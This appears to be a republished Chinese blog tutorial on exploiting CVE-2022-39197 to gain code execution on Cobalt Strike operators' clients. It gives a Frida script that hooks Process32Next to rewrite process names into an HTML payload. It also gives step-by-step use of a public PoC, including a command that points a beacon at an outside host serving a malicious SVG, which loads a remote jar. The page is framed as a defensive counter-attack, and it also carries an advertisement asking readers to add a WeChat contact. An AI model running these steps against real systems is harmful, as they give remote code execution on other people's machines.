Cobalt Strike之反向上线操作

这篇具有很好参考价值的文章主要介绍了Cobalt Strike之反向上线操作。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。

实现原理

攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例

  • Kernel32.dll:

    CreateFileW

    ReadFile

    WriteFile

    FindFirstFileW

    CreateProcessW

    GetProcAddress

    LoadLibraryW

    VirtualAlloc

    VirtualProtect

  • Advapi32.dll:

    RegOpenKeyExW

    RegQueryValueExW

    RegSetValueExW

    GetUserNameA

  • User32.dll:

    MessageBoxW

    SetWindowTextW

    GetWindowTextW

  • Gdi32.dll:

    TextOutW

    CreateFontIndirectW

  • Shell32.dll:

    ShellExecuteW

  • Ws2_32.dll:

    send

    recv

在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。

例如Kernel32.dll:中的Process32Next

# Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑
Interceptor.attach(pProcess32Next, {
    onEnter: function(args) {
        this.pPROCESSENTRY32 = args[1];
        if(Process.arch == "ia32"){
            this.exeOffset = 36;
        }else{
            this.exeOffset = 44;
        }
        this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
    },
    onLeave: function(retval) {
        if(this.szExeFile.readAnsiString() == "target") {
            send("[!] Found beacon, injecting payload");
            this.szExeFile.writeAnsiString(payload);
        }
    }
})

函数内整体逻辑拆开来分析下

处理函数进入 onEnter

onEnter: function(args) {
    this.pPROCESSENTRY32 = args[1];
    if(Process.arch == "ia32"){
        this.exeOffset = 36;
    }else{
        this.exeOffset = 44;
    }
    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名

处理函数离开 onLeave

onLeave: function(retval) {
    if(this.szExeFile.readAnsiString() == "target") {
        send("[!] Found beacon, injecting payload");
        this.szExeFile.writeAnsiString(payload);
    }
}

在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload

简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE

反制复现

环境准备:

Cobalt Strike之反向上线操作

注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)

开源POC和EXP:https://github.com/its-arun/CVE-2022-39197

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

1、编辑恶意文件内容

修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS

2、编译文件

使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下

3、将生成的恶意jar文件和svg文件放在同一路径下

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

4、蓝队在serve路径下开启一个web服务

5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址

6、执行POC脚本

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

运行后,红队的cs客户端上可以看到此时木马已经成功上线

当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar

Cobalt Strike之反向上线操作

成功上线蓝队CS,从而达到反制RCE

思考

除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)

Cobalt Strike之反向上线操作

最后

此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。

更多网安技能的在线实操练习,请点击这里>>

  文章来源地址https://www.toymoban.com/news/detail-746958.html

到了这里,关于Cobalt Strike之反向上线操作的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Cobalt Strike Beacon 初探

    RTO I 的课程结束了,Cobalt Strike 算是会用了。然后继上一篇文章之后,我还没有机会用 Cobalt Strike Beacon 做一下 Windows Defender Bypass。之后会写。 另外,我也想问一下我自己,Cobalt Strike 里面最基本的 payload - beacon,你了解清楚了吗? 所以今天,我就花点时间给自己解惑,同时也

    2024年02月04日
    浏览(39)
  • Cobalt Strike 连接启动教程(1)

    最免杀,怕被360之类的查杀,就用带s的  一次性 第八步:右键---目标----文件管理----能进入运行了病毒牧马diannao的系统了     第十步:对方桌面任何东西点击不了,点击下面带帽子的黑色小人, 就可以操作对方电nao   点击目标-----------端口扫描---------弹出扫描框(这个扫描

    2024年02月06日
    浏览(42)
  • Cobalt Strike第五篇导入插件

    CobaltStrike有两种加载插件的方法,一种是在客户端加载,一种是在服务端加载。在客户端加载,当客户端没连接上服务端后,该插件即不会被加载。所以有时候需要在服务端加载某些插件。 一、插件下载 二、客户端加载 点击 CobaltStrike– Script Manager 点击 Load 加载插件,加载

    2024年02月16日
    浏览(50)
  • Cobalt Strike工具安装与基础使用

      Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受技术大佬的喜爱。   同时Cobalt Strike集成了端

    2024年02月15日
    浏览(39)
  • Cobalt Strike(cs)下载及使用

    1、启动服务 2、客户端连接服务,可以是linuxwindows 3.新建监听器 4、生成反弹shell 5、在目标机器上执行生成的exe文件,靶机可以ping同攻击机,关掉靶机杀毒

    2024年02月13日
    浏览(35)
  • 【渗透测试】利用Cobalt Strike渗透Windows

    在kali中使用Cobalt Strike对Windows进行渗透 kali(服务端):192.168.175.129 win11(攻击机):192.168.175.128 win11(靶机):192.168.175.137 将压缩包解压 进入解压后的Server文件夹,赋予文件执行权限 192.168.175.129为Kali机器的IP, 1234 为团队接入的口令,后面需要用到 在Win11攻击机中将Coba

    2024年02月16日
    浏览(44)
  • Cobalt Strike 连接启动教程,制作图片?(2)

    安装工具:      

    2024年02月06日
    浏览(40)
  • 【渗透测试】Cobalt Strike制作钓鱼邮件渗透Windows

    在kali中使用Cobalt Strike制作钓鱼邮件,对Windows进行渗透 kali(服务端):192.168.175.129 win11(攻击机):192.168.175.128 win11(靶机):192.168.175.137 将压缩包解压 若要解压到指定路径,先新建文件夹,使用以下命令 进入解压后的Server文件夹,赋予文件执行权限 192.168.175.129为Kali机器

    2024年02月16日
    浏览(54)
  • 内网安全:横向传递攻击( RDP || Cobalt Strike )

    横向移动就是在拿下对方一台主机后,以拿下的那台主机作为跳板,对内网的其他主机再进行后面渗透,利用既有的资源尝试获取更多的凭据、更高的权限,一步一步拿下更多的主机,进而达到控制整个内网、获取到最高权限、发动高级持续性威胁攻击的目的.( 传递攻击主

    2024年02月10日
    浏览(42)
  • 红队专题-Cobalt strike4.5二次开发

    一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系 File-【Settings】 *.md; *.txt; *.rst; .adoc; .java 先定义一下 以后修改过的地方全会标记上 //aming_change 采用全局搜索 “cobaltstrike.auth” 硬编码修改 byetes变量是密钥 对sleeve修改有帮助 暗桩导致进不去GUI界面 跟

    2024年02月07日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包